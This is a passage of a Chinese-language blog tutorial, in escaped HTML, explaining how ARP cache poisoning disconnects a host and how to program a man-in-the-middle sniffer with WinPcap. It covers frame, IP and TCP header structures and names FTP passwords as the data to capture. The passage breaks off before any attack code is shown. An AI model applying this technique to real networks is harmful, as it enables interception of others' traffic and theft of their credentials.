src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-62bf1edb36141f114521ec4bb417557920140124161740.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u7531\u6b64\u53ef\u89c1\uff0c\u5728\u4ee5\u592a\u7f51\u5934\u90e8\u4e2d\uff0c\u6e90\u5730\u5740\u662fA\u4e3b\u673a\u7684MAC\u5730\u5740\u3002ARP\u5934\u4e2d\uff0c\u6e90IP\u5730\u5740\u662f\u7f51\u5173IP\uff0c\u4f46\u662f\u6e90\u7269\u7406\u5730\u5740\u5374\u662fA\u4e3b\u673a\u7684MAC\u5730\u5740\uff0c\u8fd9\u6837\u5c31\u5f62\u6210\u4e86\u4e00\u4e2a\u9519\u8bef\u7684\u5bf9\u5e94\u5173\u7cfb\uff0c\u4f7f\u5f97B\u4e3b\u673a\u7684ARP\u7f13\u5b58\u8868\u88ab\u4fee\u6539\u6210\u4e86\uff1a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;Times New Roman&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/9414a8f5b810972c3c9a0e2860c0753220140124162458.jpg&quot; id=&quot;ematt:154&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-9414a8f5b810972c3c9a0e2860c0753220140124162458.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u8fd9\u6837\u7531&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;B&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u5411\u7f51\u5173\u53d1\u9001\u7684\u6570\u636e\u5c31\u9519\u8bef\u7684\u53d1\u9001\u5230\u4e86&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;A&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u4e0a\u3002\u4f46\u662f\u6211\u4eec\u5728&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;A&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u4e3b\u673a\u4e0a\u5e76\u6ca1\u6709\u63d0\u4f9b\u6570\u636e\u5305\u8f6c\u53d1\u529f\u80fd\uff0c\u6240\u4ee5\u6b64\u65f6&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;B&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u8868\u73b0\u4e3a\u65ad\u7f51\u3002&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;mso-list:l0 level1 lfo1;&quot;&gt;\n\t&lt;span style=&quot;font-weight:normal;font-size:16.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&lt;span style=&quot;mso-list:Ignore;&quot;&gt;2.&lt;\/span&gt;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:16.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u4e2d\u95f4\u4eba\u653b\u51fb&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;+&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u55c5\u63a2&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u60f3\u5fc5\u5927\u5bb6\u5bf9\u4e8e\u8fd9\u79cd\u653b\u51fb\u65b9\u5f0f\u5df2\u7ecf\u4e86\u82e5\u6307\u638c\u4e86\uff0c\u8fd9\u53ef\u8c13\u662f\u5185\u7f51\u6e17\u900f\u4e2d\u7684\u4e00\u5927\u6740\u624b\u950f\uff0c\u5bf9\u4e8e\u5b83\u7684\u653b\u51fb\u624b\u6cd5\u548c\u539f\u7406\u5728\u8fd9\u91cc\u5c31\u4e0d\u518d\u8d58\u8ff0\uff0c\u6211\u4eec\u76f4\u63a5\u6765\u5b66\u4e60\u4e00\u4e0b\u5982\u4f55\u7f16\u7a0b\u5b9e\u73b0\u8fd9\u79cd\u653b\u51fb\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u5728\u6b64\u4e4b\u524d\u6211\u4eec\u5148\u6765\u770b\u770b\u4e00\u4e2a\u5b8c\u6574\u7684\u4ee5\u592a\u7f51\u5e27\u7ed3\u6784\u662f\u4ec0\u4e48\u6837\u7684\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;Times New Roman&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/edab7ba7e203cd7576d1200465194ea820140124162502.jpg&quot; id=&quot;ematt:155&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-edab7ba7e203cd7576d1200465194ea820140124162502.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\u5bf9\u4e8e\u4ee5\u592a\u7f51\u5e27\u7ed3\u6784\u5927\u5bb6\u5e94\u8be5\u6709\u4e9b\u719f\u6089\uff0c\u524d\u9762\u5728\u8bb2\u5230&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5305\u7684\u6784\u9020\u65f6\u4e5f\u5c31\u662f\u8fd9\u79cd\u7ed3\u6784\uff0c\u4e0d\u8fc7\u5c11\u4e86\u524d\u5bfc\u7b26\u548c&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;FCS&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\uff0c\u6240\u8c13\u524d\u5bfc\u7b26\uff0c\u5176\u4f5c\u7528\u5c31\u662f\u63d0\u9192\u63a5\u6536\u7cfb\u7edf\u6709\u5e27\u7684\u5230\u6765\u3002&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;FCS&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u53c8\u540d\u201c\u5e27\u68c0\u9a8c\u5e8f\u5217\u201d\uff0c\u7528\u6765\u68c0\u6d4b\u5e27\u5728\u4f20\u8f93\u7684\u8fc7\u7a0b\u4e2d\u662f\u5426\u88ab\u7834\u574f\uff0c\u6709\u5174\u8da3\u7684\u670b\u53cb\u53ef\u4ee5\u5728\u7f51\u4e0a\u770b\u770b\u8be6\u7ec6\u4ecb\u7ecd\u3002&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:16.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&nbsp;&nbsp;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u5927\u5bb6\u8fd8\u8bb0\u5f97\u524d\u9762\u6211\u4eec\u6240\u8bf4\u7684\u5982\u4f55\u5b9a\u4e49\u4e00\u4e2a\u6570\u636e\u5305\u7684\u7c7b\u578b\u5417\uff1f\u5c31\u662f\u5728\u4ee5\u592a\u7f51\u5934\u90e8\u4e2d\u7684\u201c\u5e27\u7c7b\u578b\u201d\u5b57\u6bb5\u6765\u5b9a\u4e49\uff0c\u4e5f\u5c31\u662f\u4e0a\u56fe\u201c\u7c7b\u578b\u201d\u8fd9\u4e00\u5b57\u6bb5\uff0c&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u8be5\u5b57\u6bb5\u7528\u4e8e\u6807\u8bc6\u6570\u636e\u5b57\u6bb5\u4e2d\u5305\u542b\u7684\u9ad8\u5c42\u534f\u8bae\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u8be5\u5b57\u6bb5\u544a\u8bc9\u63a5\u6536\u8bbe\u5907\u5982\u4f55\u89e3\u91ca\u6570\u636e\u5b57\u6bb5&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\uff0c&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u4f8b\u5982\uff1a0X0800\u4ee3\u8868\u4e3aIP\uff0c0X0806\u4ee3\u8868\u4e3aARP\u3002&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-weight:normal;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u6211\u4eec\u5728\u5b9e\u9645\u7684\u4e2d\u95f4\u4eba\u653b\u51fb\u4e2d\uff0c\u82e5\u60f3\u55c5\u63a2\u6b3a\u9a97\u8fc7\u6765\u7684\u6570\u636e\u5305\uff0c\u5c31\u5e94\u8be5\u7528\u76f8\u5e94\u7684\u534f\u8bae\u89e3\u6790\uff0c\u901a\u5e38\u7684\uff0c\u6bd4\u5982\u6211\u4eec\u8981\u55c5\u63a2FTP\u8d26\u53f7\u548c\u5bc6\u7801\uff0c\u800cFTP\u53c8\u5c5e\u4e8eTCP\/IP\u534f\u8bae\u7c07\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u5e94\u5f53\u5728\u6211\u4eec\u6355\u83b7\u7684\u6570\u636e\u5305\u4e2d\u7b5b\u9009\u51faTCP\/IP\u534f\u8bae\u7684\u6570\u636e\u5305\uff0c\u7136\u540e\u7528\u76f8\u5e94\u7684\u683c\u5f0f\u89e3\u6790\u201c\u6570\u636e\u201d\u8fd9\u4e00\u5b57\u6bb5\u3002\u5148\u6765\u770b\u770b\u4e00\u4e2aIP\u6570\u636e\u5305\u7684\u7ed3\u6784\u662f\u4ec0\u4e48\u6837\u7684\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/85b6f89b41cae26786ac72365fff771b20140124162504.jpg&quot; id=&quot;ematt:156&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-85b6f89b41cae26786ac72365fff771b20140124162504.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; height=&quot;120&quot; width=&quot;542&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;MAC&nbsp;Header\u81ea\u7136\u662f\u6211\u4eec\u5df2\u7ecf\u719f\u6089\u7684\u4ee5\u592a\u7f51\u5934\uff0cIP&nbsp;Header\u662fIP\u5934\uff0c\u540e\u9762\u90a3\u4e2a\u6839\u636e\u534f\u8bae\u7684\u4e0d\u540c\u800c\u4e0d\u540c\uff0cTCP\u6216UDP\u5934\uff0c\u6700\u540eData\u90a3\u4e00\u5b57\u6bb5\u624d\u662f\u6211\u4eec\u771f\u6b63\u5173\u6ce8\u7684\uff0c\u6bd4\u5982FTP\u5bc6\u7801\u5c31\u5b58\u653e\u5728\u90a3\u91cc\u9762\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u4e86\u89e3\u5b8cIP\u6570\u636e\u5305\u7684\u7ed3\u6784\u6211\u4eec\u518d\u6765\u770b\u770bIP\u548cTCP\u5934\u7684\u7ed3\u6784\uff1a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;Times New Roman&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/a269962fe1424e1ca3e68c328b9fed6120140124162506.jpg&quot; id=&quot;ematt:157&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-a269962fe1424e1ca3e68c328b9fed6120140124162506.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; height=&quot;241&quot; width=&quot;451&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;Times New Roman&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/e89666feb714ab9c3946f28f00c5d8c420140124162525.jpg&quot; id=&quot;ematt:158&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-e89666feb714ab9c3946f28f00c5d8c420140124162525.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; height=&quot;296&quot; width=&quot;454&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u56fe\u4e2d\u8868\u660e\u7684\u5f88\u8be6\u7ec6\uff0c\u7531\u4e8e\u7bc7\u5e45\u5173\u7cfb\u8fd9\u91cc\u5c31\u4e0d\u518d\u89e3\u91ca\u4e86\uff0c\u6709\u5174\u8da3\u7684\u670b\u53cb\u53ef\u4ee5\u5728\u7f51\u4e0a\u7ffb\u7ffb\u8d44\u6599\u3002\u73b0\u5728\u6211\u4eec\u6765\u770b\u770b\u5982\u4f55\u5c06&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;IP&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5934\u548c&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;TCP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u5934\u5728\u7a0b\u5e8f\u91cc\u8868\u8fbe\u51fa\u6765\uff0c\u8fd8\u662f\u7528\u7ed3\u6784\u4f53\u5b9a\u4e49\uff1a&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;Times New Roman&#039;;&quot;&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:10.5000pt;font-family:&#039;Times New Roman&#039;;&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/ca538c343179bf0fbdfab6cd10469afd20140124162529.jpg&quot; id=&quot;ematt:159&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-ca538c343179bf0fbdfab6cd10469afd20140124162529.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; \/&gt;&lt;\/a&gt;&lt;a target=&quot;_blank&quot; href=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/030d7e8e966169ab4c7f67c291c333f420140124162530.jpg&quot; id=&quot;ematt:160&quot;&gt;&lt;img src=&quot;http:\/\/www.weizn.net\/content\/uploadfile\/201401\/thum-030d7e8e966169ab4c7f67c291c333f420140124162530.jpg&quot; alt=&quot;\u70b9\u51fb\u67e5\u770b\u539f\u56fe&quot; border=&quot;0&quot; \/&gt;&lt;\/a&gt;&lt;br \/&gt;\n&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u7ed3\u6784\u4f53\u5b9a\u4e49\u597d\u4e86\uff0c\u5728\u7a0b\u5e8f\u4e2d\u505a\u7684\u4e8b\u5c31\u662f\u5f53\u6355\u83b7\u5230\u4e00\u4e2a\u6570\u636e\u5305\u540e\u6211\u4eec\u5c31\u7528\u76f8\u5e94\u7684\u7ed3\u6784\u4f53\u5c06\u6570\u636e\u5305\u4e2d\u7684\u6570\u636e\u89e3\u6790\u51fa\u6765\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u63a5\u4e0b\u6765\u6211\u4eec\u5c31\u8981\u5c1d\u8bd5\u7528\u7f16\u7a0b\u5b9e\u73b0\u4e86\uff0c\u5982\u679c\u5bf9\u4e8e\u524d\u9762&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u65ad\u7f51\u653b\u51fb\u7684\u7f16\u7a0b\u5df2\u7ecf\u53ef\u4ee5\u5b9e\u73b0\u4e86\uff0c\u90a3\u4e48\u5bf9\u4e8e\u8fd9\u4e2a\u4e5f\u5c31\u53ef\u4ee5\u8f7b\u677e\u638c\u63e1\u3002\u5728\u8fd9\u4e2a\u7a0b\u5e8f\u91cc\uff0c\u6211\u4eec\u591a\u7528\u4e86\u4e00\u4e2a&lt;\/span&gt;&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;winpcap&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u6293\u5305\u7684\u51fd\u6570\uff1a&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;int&nbsp;pcap_next_ex(pcap_t&nbsp;*p,&nbsp;struct&nbsp;pcap_pkthdr&nbsp;**pkt_header,&nbsp;u_char&nbsp;**pkt_data);&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u8bf4\u660e\uff1a\u6355\u83b7\u6570\u636e\u5305\u3002pcap_next_ex()\u5141\u8bb8\u76f4\u63a5\u8c03\u7528\u6765\u63a5\u6536\u5305\uff0c\u5b83\u7684\u53c2\u6570\u6709\u4e00\u4e2a\u7f51\u5361\u63cf\u8ff0&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u7b26&lt;\/span&gt;&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\uff0c\u548c\u4e24\u4e2a\u6307\u9488\uff0c\u8fd9\u4e24\u4e2a\u6307\u9488\u4f1a\u88ab\u521d\u59cb\u5316\u5e76\u8fd4\u56de\u7ed9\u7528\u6237\uff0c\u4e00\u4e2a\u662fpcap_pkthdr\u7ed3\u6784\uff0c\u53e6\u4e00\u4e2a\u662f\u63a5\u6536\u6570\u636e\u7684\u7f13\u51b2\u533a\u3002&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u53c2\u6570:&nbsp;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;p\u662f\u7531pcap_open_live()\u8fd4\u56de\u7684\u6240\u6253\u5f00\u7f51\u5361\u7684\u6307\u9488&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;pcap_pkthdr\u578b\u7684\u7ed3\u6784\u4f53\uff0c\u5b58\u50a8\u65f6\u95f4\uff0c\u5305\u7684\u957f\u5ea6&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;color:#0000ff;font-size:10.5000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;pkt_data\u5b58\u50a8\u6570\u636e\u5305\u7684\u5185\u5bb9\uff0c\u4e3a\u4e00\u4e2achar\u578b\u6570\u7ec4&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;\u65e2\u7136\u6709\u4e86\u53ef\u4ee5\u6293\u53d6\u94fe\u8def\u5c42\u6570\u636e\u5305\u7684\u51fd\u6570\uff0c\u90a3\u4e48\u6bd4\u8d77\u524d\u9762\u90a3\u4e2a&lt;span style=&quot;font-family:&#039;Times New Roman&#039;;&quot;&gt;ARP&lt;\/span&gt;&lt;span style=&quot;font-family:\u5b8b\u4f53;&quot;&gt;\u65ad\u7f51\u653b\u51fb\u7684\u7a0b\u5e8f\u6765\u8bf4\uff0c\u8fd9\u4e2a\u7a0b\u5e8f\u53ea\u8981\u5c06\u6b3a\u9a97\u8fc7\u6765\u7684\u6570\u636e\u5305\u518d\u8f6c\u53d1\u7ed9\u7f51\u5173\uff0c\u90a3\u4e48\u76ee\u6807\u4e3b\u673a\u4e5f\u5c31\u4e0d\u4f1a\u65ad\u7f51\u4e86\uff0c\u800c\u76ee\u6807\u4e3b\u673a\u53d1\u9001\u7ed9\u7f51\u5173\u7684\u6570\u636e\u5305\u6211\u4eec\u4e5f\u53ef\u4ee5\u6e05\u695a\u7684\u770b\u5230\u3002&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; style=&quot;text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt;&quot;&gt;\n\t&lt;span style=&quot;mso-spacerun:&#039;yes&#039;;font-size:12.0000pt;font-family:&#039;\u5b8b\u4f53&#039;;&quot;&gt;\u9996\u5148\u6211\u4eec\u8981\u55c5\u63a2\u6d41\u7ecf\u672c\u673a\u7684\u6570\u636e\u5305\uff0c\u4ee3\u7801\u5982\u4e0b\uff1a&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;p0&quot; 